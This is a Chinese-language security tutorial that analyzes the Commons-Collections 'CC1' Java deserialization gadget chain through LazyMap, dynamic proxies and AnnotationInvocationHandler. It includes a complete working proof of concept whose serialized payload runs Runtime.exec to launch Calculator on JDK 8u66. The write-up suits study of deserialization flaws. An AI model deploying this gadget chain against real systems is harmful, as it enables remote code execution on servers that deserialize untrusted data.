CommonsCollections1

这条是ysoserial中的CC1利用链。在ysoserial中没有用到TransformedMap,而是改用了LazyMap,并且使用到了Java对象代理。
  • 这条链在Java 8u71以后就不能利用了,这里使用的环境是JDK8u66

Java-Sec-Des-3-1

  • 取消勾选此处两个Enable
IDEA中Debug时调试器会调用一些toString方法,从而造成非预期的命令执行

Java-Sec-Des-3-2

Java对象代理

Java对象代理,可以通过代理来操作一个真正的实例对象,通过代理模式来重写那些需要增强的原对象的方法

如果想劫持一个对象内部的方法调用,需要用到java.reflect.Proxy#newProxyInstance

  • 第一个参数是ClassLoader,默认即可;
  • 第二个参数是我们需要代理的对象集合;
  • 第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(), 
    new Class[] {Map.class}, 
    handler
);

创建一个代理类

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {
  protected Map map;
  public ExampleInvocationHandler(Map map) {
    this.map = map;
  }
  
  @Override
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
    System.out.println("Hook Method: " + method.getName());
    if (method.getName().compareTo("get") == 0) {
      return "Hacked Object";
    }
    return method.invoke(this.map, args);
  }
}

实现,创建一个App.java

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());

        // 实例化代理类
        Map proxyMap = (Map) Proxy.newProxyInstance(
                Map.class.getClassLoader(),
                new Class[] {Map.class},
                handler
        );
        
        proxyMap.put("hello", "world");

        // 当方法为get时触发代理类中的函数
        String res = (String) proxyMap.get("hello");
        System.out.println(res);

    }
}

/* 输出结果
Hook Method: put
Hook Method: get
Hacked Object
*/

这里可以看到

  • 动态代理对象proxyMap调用的方法都会被转发InvocationHandler接口类的invoke()方法进行处理,如这里的put()/get()
  • 另外调用get()时触发函数,劫持返回内容,输出了Hacked而不是world

Java-Sec-Des-3-3

LazyMap

之前以为这就是在解决CommonCollections1这个利用链在高版本Java中不可用的问题。其实不然,即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在AnnotationInvocationHandler这个类的修改上

LazyMap的漏洞触发点和TransformedMap唯一的差别是:

  • TransformedMap是在写入元素的时候执行transform
  • 而LazyMap是在其get方法中执行的factory.transform()。LazyMap在get找不到值时,就会调用transform去获取一个值

构造POC

LazyMap和TransformedMap都来自Common-Collections库,并继承AbstractMapDecorator。需要现在LazyMap中找到调用transform方法的地方
  • 这里可以复用CommonCollections的前半段POC,TransformedMap改为LazyMap,运行一下可以正常弹出计算器
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class, Object[].class},
                new Object[] {null, new Object[0]}
            ),

            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            ),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();

        // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        
        outerMap.get("test");

    }
}

Java-Sec-Des-3-4

寻找漏洞触发点

  • 跟入LazyMap.decorate方法,此处调用LazyMap的构造函数,传入的Transformer赋值给factory变量
  public static Map decorate(Map map, Transformer factory) {
      return new LazyMap(map, factory);
  }

  protected LazyMap(Map map, Factory factory) {
      super(map);
      if (factory == null) {
          throw new IllegalArgumentException("Factory must not be null");
      } else {
          this.factory = FactoryTransformer.getInstance(factory);
      }
  }

  protected LazyMap(Map map, Transformer factory) {
      super(map);
      if (factory == null) {
          throw new IllegalArgumentException("Factory must not be null");
      } else {
          this.factory = factory;
      }
  }
  • 在下面的get()方法中触发了transform(),但前提条件是LazyMap在get找不到值,即Key不在Map中,才会进入if循环,调用transform去获取一个Value并放入Map中
public Object get(Object key) {
  if (!super.map.containsKey(key)) {
    Object value = this.factory.transform(key);
    super.map.put(key, value);
    return value;
  } else {
    return super.map.get(key);
  }
}

Java-Sec-Des-3-5

  • AnnotationInvocationHandlerreadObject方法中没有直接调用到Map的get(),而是在invoke()方法中进行了调用
public Object invoke(Object var1, Method var2, Object[] var3) {
  String var4 = var2.getName();
  Class[] var5 = var2.getParameterTypes();
  if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
    return this.equalsImpl(var3[0]);
  } else if (var5.length != 0) {
    throw new AssertionError("Too many parameters for an annotation method");
  } else {
    byte var7 = -1;
    switch(var4.hashCode()) {
      case -1776922004:
        if (var4.equals("toString")) {
          var7 = 0;
        }
        break;
      case 147696667:
        if (var4.equals("hashCode")) {
          var7 = 1;
        }
        break;
      case 1444986633:
        if (var4.equals("annotationType")) {
          var7 = 2;
        }
    }
    
    switch(var7) {
      case 0:
        return this.toStringImpl();
      case 1:
        return this.hashCodeImpl();
      case 2:
        return this.type;
      default:
        Object var6 = this.memberValues.get(var4);
        if (var6 == null) {
          throw new IncompleteAnnotationException(this.type, var4);
        } else if (var6 instanceof ExceptionProxy) {
          throw ((ExceptionProxy)var6).generateException();
        } else {
          if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
            var6 = this.cloneArray(var6);
          }
          
          return var6;
        }
    }
  }
}

整理一下,这里大致利用路径为:

  • AnnotationInvocationHandler.readObject()
  • AnnotationInvocationHandler.invoke()
  • LazyMap.get()
  • ChainedTransformer.transform()
  • 剩余的几条Transformer
/*
Gadget chain:
  ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
      Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
          LazyMap.get()
            ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
                Method.invoke()
                  Class.getMethod()
              InvokerTransformer.transform()
                Method.invoke()
                  Runtime.getRuntime()
              InvokerTransformer.transform()
                Method.invoke()
                  Runtime.exec()

Requires:
  commons-collections
*/

那么如何调用invoke呢,此时就需要用到了Java的对象代理

回看sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类就是一个InvocationHandler。如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

修改POC

前面的POC跟上一篇的Demo一样,都是手动触发漏洞。这里需要构造为readObject触发利用链
  • 先注释触发漏洞的get()方法,然后实现AnnotationInvocationHandlerProxy代理类
// outerMap.get("test");

// 获取AnnotationInvocationHandler的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 利用构造函数实例化,创建与outerMap关联的InvocationHandler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

// 实例化代理对象,proxyMap调用的方法都会被转发InvocationHandler#invoke方法
Map proxyMap = (Map) Proxy.newProxyInstance(
  Map.class.getClassLoader(),
  new Class[] {Map.class},
  handler
);

Java-Sec-Des-3-6

  • 此时直接对proxyMap进行序列化是不会执行命令的,因为前面创建的是与outerMap关联的InvocationHandler(第9行),因此需要再用AnnotationInvocationHandler对这个proxyMap进行包裹
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
  • 后续再构造序列化和反序列的操作,另外前文说了,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题,所以这里需要在8u71之前的版本才能成功运行并弹出计算器

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class, Object[].class},
                new Object[] {null, new Object[0]}
            ),

            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            ),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();

        // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        // 获取AnnotationInvocationHandler的构造函数
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        // 利用构造函数实例化,创建与outerMap关联的InvocationHandler
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

        // 实例化代理对象
        Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(),
            new Class[] {Map.class},
            handler
        );

        // 使用InvocationHandler对proxyMap重新包裹
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        // Serialization
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        System.out.println(baos);

        // Deserialization
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = (Object) ois.readObject();

        ois.close();
        bais.close();
        oos.close();
        baos.close();
    }
}

其它

  • 发现ysoserial中的Transformer数组最后增加了一个ConstantTransformer(1)
final Transformer[] transformers = new Transformer[] {
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer(
    "getMethod", 
    new Class[] {String.class, Class[].class }, 
    new Object[] {"getRuntime", new Class[0] }),
  new InvokerTransformer(
    "invoke", 
    new Class[] {Object.class, Object[].class }, 
    new Object[] {null, new Object[0] }),
  new InvokerTransformer(
    "exec",
    new Class[] { String.class }, 
    execArgs
  ),
  new ConstantTransformer(1) 
};

前面的POC运行后报错如下:
Java-Sec-Des-3-7

添加ConstantTransformer(1)后报错如下:
Java-Sec-Des-3-8

如果觉得我的文章对你有帮助,请我吃颗糖吧~